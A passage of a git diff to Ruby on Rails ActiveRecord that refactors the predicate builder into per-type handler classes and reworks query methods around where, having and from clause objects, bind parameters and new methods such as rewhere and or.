       @handlers.unshift([klass, handler])
     end
 
-    register_handler(BasicObject, ->(attribute, value) { attribute.eq(value) })
-    # FIXME: I think we need to deprecate this behavior
-    register_handler(Class, ->(attribute, value) { attribute.eq(value.name) })
-    register_handler(Base, ->(attribute, value) { attribute.eq(value.id) })
-    register_handler(Range, ->(attribute, value) { attribute.in(value) })
-    register_handler(Relation, RelationHandler.new)
-    register_handler(Array, ArrayHandler.new)
+    def build(attribute, value)
+      handler_for(value).call(attribute, value)
+    end
 
-    private
-      def self.build(attribute, value)
-        handler_for(value).call(attribute, value)
+    protected
+
+    attr_reader :table
+
+    def expand_from_hash(attributes)
+      return ["1=0"] if attributes.empty?
+
+      attributes.flat_map do |key, value|
+        if value.is_a?(Hash)
+          associated_predicate_builder(key).expand_from_hash(value)
+        else
+          expand(key, value)
+        end
+      end
+    end
+
+
+    def create_binds_for_hash(attributes)
+      result = attributes.dup
+      binds = []
+
+      attributes.each do |column_name, value|
+        case value
+        when Hash
+          attrs, bvs = associated_predicate_builder(column_name).create_binds_for_hash(value)
+          result[column_name] = attrs
+          binds += bvs
+        when Relation
+          binds += value.bound_attributes
+        else
+          if can_be_bound?(column_name, value)
+            result[column_name] = Arel::Nodes::BindParam.new
+            binds << Relation::QueryAttribute.new(column_name.to_s, value, table.type(column_name))
+          end
+        end
       end
 
-      def self.handler_for(object)
-        @handlers.detect { |klass, _| klass === object }.last
+      [result, binds]
+    end
+
+    private
+
+    def associated_predicate_builder(association_name)
+      self.class.new(table.associated_table(association_name))
+    end
+
+    def convert_dot_notation_to_hash(attributes)
+      dot_notation = attributes.keys.select { |s| s.include?(".") }
+
+      dot_notation.each do |key|
+        table_name, column_name = key.split(".")
+        value = attributes.delete(key)
+        attributes[table_name] ||= {}
+
+        attributes[table_name] = attributes[table_name].merge(column_name => value)
       end
+
+      attributes
+    end
+
+    def handler_for(object)
+      @handlers.detect { |klass, _| klass === object }.last
+    end
+
+    def can_be_bound?(column_name, value)
+      !value.nil? &&
+        handler_for(value).is_a?(BasicObjectHandler) &&
+        !table.associated_with?(column_name)
+    end
   end
 end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
index 2f6c34ac08..95dbd6a77f 100644
--- a/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
@@ -1,29 +1,43 @@
 module ActiveRecord
   class PredicateBuilder
     class ArrayHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
       def call(attribute, value)
         values = value.map { |x| x.is_a?(Base) ? x.id : x }
-        ranges, values = values.partition { |v| v.is_a?(Range) }
+        nils, values = values.partition(&:nil?)
 
-        values_predicate = if values.include?(nil)
-          values = values.compact
+        return attribute.in([]) if values.empty? && nils.empty?
 
+        ranges, values = values.partition { |v| v.is_a?(Range) }
+
+        values_predicate =
           case values.length
-          when 0
-            attribute.eq(nil)
-          when 1
-            attribute.eq(values.first).or(attribute.eq(nil))
-          else
-            attribute.in(values).or(attribute.eq(nil))
+          when 0 then NullPredicate
+          when 1 then predicate_builder.build(attribute, values.first)
+          else attribute.in(values)
           end
-        else
-          attribute.in(values)
+
+        unless nils.empty?
+          values_predicate = values_predicate.or(predicate_builder.build(attribute, nil))
         end
 
-        array_predicates = ranges.map { |range| attribute.in(range) }
-        array_predicates << values_predicate
+        array_predicates = ranges.map { |range| predicate_builder.build(attribute, range) }
+        array_predicates.unshift(values_predicate)
         array_predicates.inject { |composite, predicate| composite.or(predicate) }
       end
+
+      protected
+
+      attr_reader :predicate_builder
+
+      module NullPredicate # :nodoc:
+        def self.or(other)
+          other
+        end
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb
new file mode 100644
index 0000000000..159889d3b8
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/association_query_handler.rb
@@ -0,0 +1,78 @@
+module ActiveRecord
+  class PredicateBuilder
+    class AssociationQueryHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        queries = {}
+
+        table = value.associated_table
+        if value.base_class
+          queries[table.association_foreign_type] = value.base_class.name
+        end
+
+        queries[table.association_foreign_key] = value.ids
+        predicate_builder.build_from_hash(queries)
+      end
+
+      protected
+
+      attr_reader :predicate_builder
+    end
+
+    class AssociationQueryValue # :nodoc:
+      attr_reader :associated_table, :value
+
+      def initialize(associated_table, value)
+        @associated_table = associated_table
+        @value = value
+      end
+
+      def ids
+        case value
+        when Relation
+          value.select(primary_key)
+        when Array
+          value.map { |v| convert_to_id(v) }
+        else
+          convert_to_id(value)
+        end
+      end
+
+      def base_class
+        if associated_table.polymorphic_association?
+          @base_class ||= polymorphic_base_class_from_value
+        end
+      end
+
+      private
+
+      def primary_key
+        associated_table.association_primary_key(base_class)
+      end
+
+      def polymorphic_base_class_from_value
+        case value
+        when Relation
+          value.klass.base_class
+        when Array
+          val = value.compact.first
+          val.class.base_class if val.is_a?(Base)
+        when Base
+          value.class.base_class
+        end
+      end
+
+      def convert_to_id(value)
+        case value
+        when Base
+          value._read_attribute(primary_key)
+        else
+          value
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb
new file mode 100644
index 0000000000..6fa5b16f73
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/base_handler.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+  class PredicateBuilder
+    class BaseHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        predicate_builder.build(attribute, value.id)
+      end
+
+      protected
+
+      attr_reader :predicate_builder
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb
new file mode 100644
index 0000000000..6cec75dc0a
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/basic_object_handler.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+  class PredicateBuilder
+    class BasicObjectHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        attribute.eq(value)
+      end
+
+      protected
+
+      attr_reader :predicate_builder
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/class_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/class_handler.rb
new file mode 100644
index 0000000000..ed313fc9d4
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/class_handler.rb
@@ -0,0 +1,27 @@
+module ActiveRecord
+  class PredicateBuilder
+    class ClassHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        print_deprecation_warning
+        predicate_builder.build(attribute, value.name)
+      end
+
+      protected
+
+      attr_reader :predicate_builder
+
+      private
+
+      def print_deprecation_warning
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          Passing a class as a value in an Active Record query is deprecated and
+          will be removed. Pass a string instead.
+        MSG
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb
new file mode 100644
index 0000000000..1b3849e3ad
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/range_handler.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+  class PredicateBuilder
+    class RangeHandler # :nodoc:
+      def initialize(predicate_builder)
+        @predicate_builder = predicate_builder
+      end
+
+      def call(attribute, value)
+        attribute.between(value)
+      end
+
+      protected
+
+      attr_reader :predicate_builder
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
index 618fa3cdd9..063150958a 100644
--- a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
@@ -6,7 +6,7 @@ module ActiveRecord
           value = value.select(value.klass.arel_table[value.klass.primary_key])
         end
 
-        attribute.in(value.arel.ast)
+        attribute.in(value.arel)
       end
     end
   end
diff --git a/activerecord/lib/active_record/relation/query_attribute.rb b/activerecord/lib/active_record/relation/query_attribute.rb
new file mode 100644
index 0000000000..e69319b4de
--- /dev/null
+++ b/activerecord/lib/active_record/relation/query_attribute.rb
@@ -0,0 +1,19 @@
+require 'active_record/attribute'
+
+module ActiveRecord
+  class Relation
+    class QueryAttribute < Attribute
+      def type_cast(value)
+        value
+      end
+
+      def value_for_database
+        @value_for_database ||= super
+      end
+
+      def with_cast_value(value)
+        QueryAttribute.new(name, value, type)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index 9f2a039d94..7514401072 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -1,9 +1,16 @@
-require 'active_support/core_ext/array/wrap'
+require "active_record/relation/from_clause"
+require "active_record/relation/query_attribute"
+require "active_record/relation/where_clause"
+require "active_record/relation/where_clause_factory"
+require 'active_model/forbidden_attributes_protection'
+require 'active_support/core_ext/string/filters'
 
 module ActiveRecord
   module QueryMethods
     extend ActiveSupport::Concern
 
+    include ActiveModel::ForbiddenAttributesProtection
+
     # WhereChain objects act as placeholder for queries in which #where does not have any parameter.
     # In this case, #where must be chained with #not to return a new relation.
     class WhereChain
@@ -35,33 +42,24 @@ module ActiveRecord
       #    User.where.not(name: "Jon", role: "admin")
       #    # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'
       def not(opts, *rest)
-        where_value = @scope.send(:build_where, opts, rest).map do |rel|
-          case rel
-          when Arel::Nodes::In
-            Arel::Nodes::NotIn.new(rel.left, rel.right)
-          when Arel::Nodes::Equality
-            Arel::Nodes::NotEqual.new(rel.left, rel.right)
-          when String
-            Arel::Nodes::Not.new(Arel::Nodes::SqlLiteral.new(rel))
-          else
-            Arel::Nodes::Not.new(rel)
-          end
-        end
-        @scope.where_values += where_value
+        where_clause = @scope.send(:where_clause_factory).build(opts, rest)
+
+        @scope.references!(PredicateBuilder.references(opts)) if Hash === opts
+        @scope.where_clause += where_clause.invert
         @scope
       end
     end
 
     Relation::MULTI_VALUE_METHODS.each do |name|
       class_eval <<-CODE, __FILE__, __LINE__ + 1
-        def #{name}_values                   # def select_values
-          @values[:#{name}] || []            #   @values[:select] || []
-        end                                  # end
-                                             #
-        def #{name}_values=(values)          # def select_values=(values)
-          raise ImmutableRelation if @loaded #   raise ImmutableRelation if @loaded
-          @values[:#{name}] = values         #   @values[:select] = values
-        end                                  # end
+        def #{name}_values                    # def select_values
+          @values[:#{name}] || []             #   @values[:select] || []
+        end                                   # end
+                                              #
+        def #{name}_values=(values)           # def select_values=(values)
+          assert_mutability!                  #   assert_mutability!
+          @values[:#{name}] = values          #   @values[:select] = values
+        end                                   # end
       CODE
     end
 
@@ -76,12 +74,29 @@ module ActiveRecord
     Relation::SINGLE_VALUE_METHODS.each do |name|
       class_eval <<-CODE, __FILE__, __LINE__ + 1
         def #{name}_value=(value)            # def readonly_value=(value)
-          raise ImmutableRelation if @loaded #   raise ImmutableRelation if @loaded
+          assert_mutability!                 #   assert_mutability!
           @values[:#{name}] = value          #   @values[:readonly] = value
         end                                  # end
       CODE
     end
 
+    Relation::CLAUSE_METHODS.each do |name|
+      class_eval <<-CODE, __FILE__, __LINE__ + 1
+        def #{name}_clause                           # def where_clause
+          @values[:#{name}] || new_#{name}_clause    #   @values[:where] || new_where_clause
+        end                                          # end
+                                                     #
+        def #{name}_clause=(value)                   # def where_clause=(value)
+          assert_mutability!                         #   assert_mutability!
+          @values[:#{name}] = value                  #   @values[:where] = value
+        end                                          # end
+      CODE
+    end
+
+    def bound_attributes
+      from_clause.binds + arel.bind_values + where_clause.binds + having_clause.binds
+    end
+
     def create_with_value # :nodoc:
       @values[:create_with] || {}
     end
@@ -118,6 +133,9 @@ module ActiveRecord
     # Will throw an error, but this will work:
     #
     #   User.includes(:posts).where('posts.name = ?', 'example').references(:posts)
+    #
+    # Note that +includes+ works with association names while +references+ needs
+    # the actual table name.
     def includes(*args)
       check_if_method_has_arguments!(:includes, args)
       spawn.includes!(*args)
@@ -161,24 +179,26 @@ module ActiveRecord
       self
     end
 
-    # Used to indicate that an association is referenced by an SQL string, and should
-    # therefore be JOINed in any query rather than loaded separately.
+    # Use to indicate that the given +table_names+ are referenced by an SQL string,
+    # and should therefore be JOINed in any query rather than loaded separately.
+    # This method only works in conjunction with +includes+.
+    # See #includes for more details.
     #
     #   User.includes(:posts).where("posts.name = 'foo'")
     #   # => Doesn't JOIN the posts table, resulting in an error.
     #
     #   User.includes(:posts).where("posts.name = 'foo'").references(:posts)
     #   # => Query now knows the string references posts, so adds a JOIN
-    def references(*args)
-      check_if_method_has_arguments!(:references, args)
-      spawn.references!(*args)
+    def references(*table_names)
+      check_if_method_has_arguments!(:references, table_names)
+      spawn.references!(*table_names)
     end
 
-    def references!(*args) # :nodoc:
-      args.flatten!
-      args.map!(&:to_s)
+    def references!(*table_names) # :nodoc:
+      table_names.flatten!
+      table_names.map!(&:to_s)
 
-      self.references_values |= args
+      self.references_values |= table_names
       self
     end
 
@@ -195,7 +215,7 @@ module ActiveRecord
     # fields are retrieved:
     #
     #   Model.select(:field)
-    #   # => [#<Model field:value>]
+    #   # => [#<Model id: nil, field: "value">]
     #
     # Although in the above example it looks as though this method returns an
     # array, it actually returns a relation object and can have other query
@@ -204,12 +224,12 @@ module ActiveRecord
     # The argument to the method can also be an array of fields.
     #
     #   Model.select(:field, :other_field, :and_one_more)
-    #   # => [#<Model field: "value", other_field: "value", and_one_more: "value">]
+    #   # => [#<Model id: nil, field: "value", other_field: "value", and_one_more: "value">]
     #
     # You can also use one or more strings, which will be used unchanged as SELECT fields.
     #
     #   Model.select('field AS field_one', 'other_field AS field_two')
-    #   # => [#<Model field: "value", other_field: "value">]
+    #   # => [#<Model id: nil, field: "value", other_field: "value">]
     #
     # If an alias was specified, it will be accessible from the resulting objects:
     #
@@ -217,7 +237,7 @@ module ActiveRecord
     #   # => "value"
     #
     # Accessing attributes of an object that do not have fields retrieved by a select
-    # will throw <tt>ActiveModel::MissingAttributeError</tt>:
+    # except +id+ will throw <tt>ActiveModel::MissingAttributeError</tt>:
     #
     #   Model.select(:field).first.other_field
     #   # => ActiveModel::MissingAttributeError: missing attribute: other_field
@@ -226,13 +246,15 @@ module ActiveRecord
         to_a.select { |*block_args| yield(*block_args) }
       else
         raise ArgumentError, 'Call this with at least one field' if fields.empty?
-        spawn.select!(*fields)
+        spawn._select!(*fields)
       end
     end
 
-    def select!(*fields) # :nodoc:
+    def _select!(*fields) # :nodoc:
       fields.flatten!
-
+      fields.map! do |field|
+        klass.attribute_alias?(field) ? klass.attribute_alias(field) : field
+      end
       self.select_values += fields
       self
     end
@@ -252,6 +274,10 @@ module ActiveRecord
     #
     #   User.group('name AS grouped_name, age')
     #   => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>]
+    #
+    # Passing in an array of attributes to group by is also supported.
+    #   User.select([:id, :first_name]).group(:id, :first_name).first(3)
+    #   => [#<User id: 1, first_name: "Bill">, #<User id: 2, first_name: "Earl">, #<User id: 3, first_name: "Beto">]
     def group(*args)
       check_if_method_has_arguments!(:group, args)
       spawn.group!(*args)
@@ -266,15 +292,6 @@ module ActiveRecord
 
     # Allows to specify an order attribute:
     #
-    #   User.order('name')
-    #   => SELECT "users".* FROM "users" ORDER BY name
-    #
-    #   User.order('name DESC')
-    #   => SELECT "users".* FROM "users" ORDER BY name DESC
-    #
-    #   User.order('name DESC, email')
-    #   => SELECT "users".* FROM "users" ORDER BY name DESC, email
-    #
     #   User.order(:name)
     #   => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC
     #
@@ -283,23 +300,22 @@ module ActiveRecord
     #
     #   User.order(:name, email: :desc)
     #   => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+    #
+    #   User.order('name')
+    #   => SELECT "users".* FROM "users" ORDER BY name
+    #
+    #   User.order('name DESC')
+    #   => SELECT "users".* FROM "users" ORDER BY name DESC
+    #
+    #   User.order('name DESC, email')
+    #   => SELECT "users".* FROM "users" ORDER BY name DESC, email
     def order(*args)
       check_if_method_has_arguments!(:order, args)
       spawn.order!(*args)
     end
 
     def order!(*args) # :nodoc:
-      args.flatten!
-      validate_order_args(args)
-
-      references = args.grep(String)
-      references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
-      references!(references) if references.any?
-
-      # if a symbol is given we prepend the quoted table name
-      args.map! do |arg|
-        arg.is_a?(Symbol) ? Arel::Nodes::Ascending.new(klass.arel_table[arg]) : arg
-      end
+      preprocess_order_args(args)
 
       self.order_values += args
       self
@@ -320,8 +336,7 @@ module ActiveRecord
     end
 
     def reorder!(*args) # :nodoc:
-      args.flatten!
-      validate_order_args(args)
+      preprocess_order_args(args)
 
       self.reordering_value = true
       self.order_values = args
@@ -352,16 +367,19 @@ module ActiveRecord
     #   User.where(name: "John", active: true).unscope(where: :name)
     #       == User.where(active: true)
     #
-    # This method is applied before the default_scope is applied. So the conditions
-    # specified in default_scope will not be removed.
+    # This method is similar to <tt>except</tt>, but unlike
+    # <tt>except</tt>, it persists across merges:
+    #
+    #   User.order('email').merge(User.except(:order))
+    #       == User.order('email')
     #
-    # Note that this method is more generalized than ActiveRecord::SpawnMethods#except
-    # because #except will only affect a particular relation's values. It won't wipe
-    # the order, grouping, etc. when that relation is merged. For example:
+    #   User.order('email').merge(User.unscope(:order))
+    #       == User.all
     #
-    #   Post.comments.except(:order)
+    # This means it can be used in association definitions:
+    #
+    #   has_many :comments, -> { unscope where: :trashed }
     #
-    # will still have an order if it comes from the default_scope on Comment.
     def unscope(*args)
       check_if_method_has_arguments!(:unscope, args)
       spawn.unscope!(*args)
@@ -369,6 +387,7 @@ module ActiveRecord
 
     def unscope!(*args) # :nodoc:
       args.flatten!
+      self.unscope_values += args
 
       args.each do |scope|
         case scope
@@ -380,9 +399,8 @@ module ActiveRecord
               raise ArgumentError, "Hash arguments in .unscope(*args) must have :where as the key."
             end
 
-            Array(target_value).each do |val|
-              where_unscoping(val)
-            end
+            target_values = Array(target_value).map(&:to_s)
+            self.where_clause = where_clause.except(*target_values)
           end
         else
           raise ArgumentError, "Unrecognized scoping: #{args.inspect}. Use .unscope(where: :attribute_name) or .unscope(:order), for example."
@@ -403,27 +421,16 @@ module ActiveRecord
     #   => SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id
     def joins(*args)
       check_if_method_has_arguments!(:joins, args)
-
-      args.compact!
-      args.flatten!
-
       spawn.joins!(*args)
     end
 
     def joins!(*args) # :nodoc:
+      args.compact!
+      args.flatten!
       self.joins_values += args
       self
     end
 
-    def bind(value)
-      spawn.bind!(value)
-    end
-
-    def bind!(value) # :nodoc:
-      self.bind_values += [value]
-      self
-    end
-
     # Returns a new relation, which is the result of filtering the current relation
     # according to the conditions in the arguments.
     #
@@ -434,7 +441,7 @@ module ActiveRecord
     # === string
     #
     # A single string, without additional arguments, is passed to the query
-    # constructor as a SQL fragment, and used in the where clause of the query.
+    # constructor as an SQL fragment, and used in the where clause of the query.
     #
     #    Client.where("orders_count = '2'")
     #    # SELECT * from clients where orders_count = '2';
@@ -553,15 +560,57 @@ module ActiveRecord
       end
     end
 
-    def where!(opts = :chain, *rest) # :nodoc:
-      if opts == :chain
-        WhereChain.new(self)
-      else
-        references!(PredicateBuilder.references(opts)) if Hash === opts
+    def where!(opts, *rest) # :nodoc:
+      if Hash === opts
+        opts = sanitize_forbidden_attributes(opts)
+        references!(PredicateBuilder.references(opts))
+      end
 
-        self.where_values += build_where(opts, rest)
-        self
+      self.where_clause += where_clause_factory.build(opts, rest)
+      self
+    end
+
+    # Allows you to change a previously set where condition for a given attribute, instead of appending to that condition.
+    #
+    #   Post.where(trashed: true).where(trashed: false)                       # => WHERE `trashed` = 1 AND `trashed` = 0
+    #   Post.where(trashed: true).rewhere(trashed: false)                     # => WHERE `trashed` = 0
+    #   Post.where(active: true).where(trashed: true).rewhere(trashed: false) # => WHERE `active` = 1 AND `trashed` = 0
+    #
+    # This is short-hand for unscope(where: conditions.keys).where(conditions). Note that unlike reorder, we're only unscoping
+    # the named conditions -- not the entire where statement.
+    def rewhere(conditions)
+      unscope(where: conditions.keys).where(conditions)
+    end
+
+    # Returns a new relation, which is the logical union of this relation and the one passed as an
+    # argument.
+    #
+    # The two relations must be structurally compatible: they must be scoping the same model, and
+    # they must differ only by +where+ (if no +group+ has been defined) or +having+ (if a +group+ is
+    # present). Neither relation may have a +limit+, +offset+, or +uniq+ set.
+    #
+    #    Post.where("id = 1").or(Post.where("id = 2"))
+    #    # SELECT `posts`.* FROM `posts`  WHERE (('id = 1' OR 'id = 2'))
+    #
+    def or(other)
+      spawn.or!(other)
+    end
+
+    def or!(other) # :nodoc:
+      unless structurally_compatible_for_or?(other)
+        raise ArgumentError, 'Relation passed to #or must be structurally compatible'
       end
+
+      self.where_clause = self.where_clause.or(other.where_clause)
+      self.having_clause = self.having_clause.or(other.having_clause)
+
+      self
+    end
+
+    private def structurally_compatible_for_or?(other) # :nodoc:
+      Relation::SINGLE_VALUE_METHODS.all? { |m| send("#{m}_value") == other.send("#{m}_value") } &&
+        (Relation::MULTI_VALUE_METHODS - [:extending]).all? { |m| send("#{m}_values") == other.send("#{m}_values") } &&
+        (Relation::CLAUSE_METHODS - [:having, :where]).all? { |m| send("#{m}_clause") != other.send("#{m}_clause") }
     end
 
     # Allows to specify a HAVING clause. Note that you can't use HAVING
@@ -575,7 +624,7 @@ module ActiveRecord
     def having!(opts, *rest) # :nodoc:
       references!(PredicateBuilder.references(opts)) if Hash === opts
 
-      self.having_values += build_where(opts, rest)
+      self.having_clause += having_clause_factory.build(opts, rest)
       self
     end
 
@@ -626,12 +675,11 @@ module ActiveRecord
       self
     end
 
-    # Returns a chainable relation with zero records, specifically an
-    # instance of the <tt>ActiveRecord::NullRelation</tt> class.
+    # Returns a chainable relation with zero records.
     #
-    # The returned <tt>ActiveRecord::NullRelation</tt> inherits from Relation and implements the
-    # Null Object pattern. It is an object with defined null behavior and always returns an empty
-    # array of records without querying the database.
+    # The returned relation implements the Null Object pattern. It is an
+    # object with defined null behavior and always returns an empty array of
+    # records without querying the database.
     #
     # Any subsequent condition chained to the returned relation will continue
     # generating an empty relation and will not fire any query to the database.
@@ -651,16 +699,16 @@ module ActiveRecord
     #     when 'Reviewer'
     #       Post.published
     #     when 'Bad User'
-    #       Post.none # => returning [] instead breaks the previous code
+    #       Post.none # It can't be chained if [] is returned.
     #     end
     #   end
     #
     def none
-      extending(NullRelation)
+      where("1=0").extending!(NullRelation)
     end
 
     def none! # :nodoc:
-      extending!(NullRelation)
+      where!("1=0").extending!(NullRelation)
     end
 
     # Sets readonly attributes for the returned relation. If value is
@@ -696,14 +744,20 @@ module ActiveRecord
     end
 
     def create_with!(value) # :nodoc:
-      self.create_with_value = value ? create_with_value.merge(value) : {}
+      if value
+        value = sanitize_forbidden_attributes(value)
+        self.create_with_value = create_with_value.merge(value)
+      else
+        self.create_with_value = {}
+      end
+
       self
     end
 
     # Specifies table from which the records will be fetched. For example:
     #
     #   Topic.select('title').from('posts')
-    #   #=> SELECT title FROM posts
+    #   # => SELECT title FROM posts
     #
     # Can accept other relation objects. For example:
     #
@@ -718,7 +772,7 @@ module ActiveRecord
     end
 
     def from!(value, subquery_name = nil) # :nodoc:
-      self.from_value = [value, subquery_name]
+      self.from_clause = Relation::FromClause.new(value, subquery_name)
       self
     end
 
@@ -806,123 +860,78 @@ module ActiveRecord
     end
 
     def reverse_order! # :nodoc:
-      self.reverse_order_value = !reverse_order_value
+      orders = order_values.uniq
+      orders.reject!(&:blank?)
+      self.order_values = reverse_sql_order(orders)
       self
     end
 
     # Returns the Arel object associated with the relation.
-    def arel
+    def arel # :nodoc:
       @arel ||= build_arel
     end
 
-    # Like #arel, but ignores the default scope of the model.
-    def build_arel
-      arel = Arel::SelectManager.new(table.engine, table)
+    private
 
-      build_joins(arel, joins_values.flatten) unless joins_values.empty?
+    def assert_mutability!
+      raise ImmutableRelation if @loaded
+      raise ImmutableRelation if defined?(@arel) && @arel
+    end
 
-      collapse_wheres(arel, (where_values - ['']).uniq)
+    def build_arel
+      arel = Arel::SelectManager.new(table)
 
-      arel.having(*having_values.uniq.reject(&:blank?)) unless having_values.empty?
+      build_joins(arel, joins_values.flatten) unless joins_values.empty?
 
+      arel.where(where_clause.ast) unless where_clause.empty?
+      arel.having(having_clause.ast) unless having_clause.empty?
       arel.take(connection.sanitize_limit(limit_value)) if limit_value
       arel.skip(offset_value.to_i) if offset_value
-
-      arel.group(*group_values.uniq.reject(&:blank?)) unless group_values.empty?
+      arel.group(*arel_columns(group_values.uniq.reject(&:blank?))) unless group_values.empty?
 
       build_order(arel)
 
-      build_select(arel, select_values.uniq)
+      build_select(arel)
 
       arel.distinct(distinct_value)
-      arel.from(build_from) if from_value
+      arel.from(build_from) unless from_clause.empty?
       arel.lock(lock_value) if lock_value
 
       arel
     end
 
-    private
-
     def symbol_unscoping(scope)
       if !VALID_UNSCOPING_VALUES.include?(scope)
         raise ArgumentError, "Called unscope() with invalid unscoping argument ':#{scope}'. Valid arguments are :#{VALID_UNSCOPING_VALUES.to_a.join(", :")}."
       end
 
-      single_val_method = Relation::SINGLE_VALUE_METHODS.include?(scope)
-      unscope_code = :"#{scope}_value#{'s' unless single_val_method}="
+      clause_method = Relation::CLAUSE_METHODS.include?(scope)
+      multi_val_method = Relation::MULTI_VALUE_METHODS.include?(scope)
+      if clause_method
+        unscope_code = "#{scope}_clause="
+      else
+        unscope_code = "#{scope}_value#{'s' if multi_val_method}="
+      end
 
       case scope
       when :order
-        self.send(:reverse_order_value=, false)
         result = []
       else
-        result = [] unless single_val_method
+        result = [] if multi_val_method
       end
 
       self.send(unscope_code, result)
     end
 
-    def where_unscoping(target_value)
-      target_value_sym = target_value.to_sym
-
-      where_values.reject! do |rel|
-        case rel
-        when Arel::Nodes::In, Arel::Nodes::Equality
-          subrelation = (rel.left.kind_of?(Arel::Attributes::Attribute) ? rel.left : rel.right)
-          subrelation.name.to_sym == target_value_sym
-        else
-          raise "unscope(where: #{target_value.inspect}) failed: unscoping #{rel.class} is unimplemented."
-        end
-      end
-    end
-
-    def custom_join_ast(table, joins)
-      joins = joins.reject(&:blank?)
-
-      return [] if joins.empty?
-
-      joins.map! do |join|
-        case join
-        when Array
-          join = Arel.sql(join.join(' ')) if array_of_strings?(join)
-        when String
-          join = Arel.sql(join)
-        end
-        table.create_string_join(join)
-      end
-    end
-
-    def collapse_wheres(arel, wheres)
-      equalities = wheres.grep(Arel::Nodes::Equality)
-
-      arel.where(Arel::Nodes::And.new(equalities)) unless equalities.empty?
-
-      (wheres - equalities).each do |where|
-        where = Arel.sql(where) if String === where
-        arel.where(Arel::Nodes::Grouping.new(where))
-      end
-    end
-
-    def build_where(opts, other = [])
-      case opts
-      when String, Array
-        [@klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
-      when Hash
-        opts = PredicateBuilder.resolve_column_aliases(klass, opts)
-        attributes = @klass.send(:expand_hash_conditions_for_aggregates, opts)
-
-        attributes.values.grep(ActiveRecord::Relation) do |rel|
-          self.bind_values += rel.bind_values
-        end
-
-        PredicateBuilder.build_from_hash(klass, attributes, table)
-      else
-        [opts]
-      end
+    def association_for_table(table_name)
+      table_name = table_name.to_s
+      @klass._reflect_on_association(table_name) ||
+        @klass._reflect_on_association(table_name.singularize)
     end
 
     def build_from
-      opts, name = from_value
+      opts = from_clause.value
+      name = from_clause.name
       case opts
       when Relation
         name ||= 'subquery'
@@ -939,7 +948,7 @@ module ActiveRecord
           :string_join
         when Hash, Symbol, Array
           :association_join
-        when ActiveRecord::Associations::JoinDependency::JoinAssociation
+        when ActiveRecord::Associations::JoinDependency
           :stashed_join
         when Arel::Nodes::Join
           :join_node
@@ -947,13 +956,14 @@ module ActiveRecord
           raise 'unknown class: %s' % join.class.name
         end
       end
+      buckets.default = []
 
-      association_joins         = buckets[:association_join] || []
-      stashed_association_joins = buckets[:stashed_join] || []
-      join_nodes                = (buckets[:join_node] || []).uniq
-      string_joins              = (buckets[:string_join] || []).map(&:strip).uniq
+      association_joins         = buckets[:association_join]
+      stashed_association_joins = buckets[:stashed_join]
+      join_nodes                = buckets[:join_node].uniq
+      string_joins              = buckets[:string_join].map(&:strip).uniq
 
-      join_list = join_nodes + custom_join_ast(manager, string_joins)
+      join_list = join_nodes + convert_join_strings_to_ast(manager, string_joins)
 
       join_dependency = ActiveRecord::Associations::JoinDependency.new(
         @klass,
@@ -961,26 +971,43 @@ module ActiveRecord
         join_list
       )
 
-      join_dependency.graft(*stashed_association_joins)
-
-      joins = join_dependency.join_associations.map!(&:join_constraints)
-      joins.flatten!
+      join_infos = join_dependency.join_constraints stashed_association_joins
 
-      joins.each { |join| manager.from(join) }
+      join_infos.each do |info|
+        info.joins.each { |join| manager.from(join) }
+        manager.bind_values.concat info.binds
+      end
 
       manager.join_sources.concat(join_list)
 
       manager
     end
 
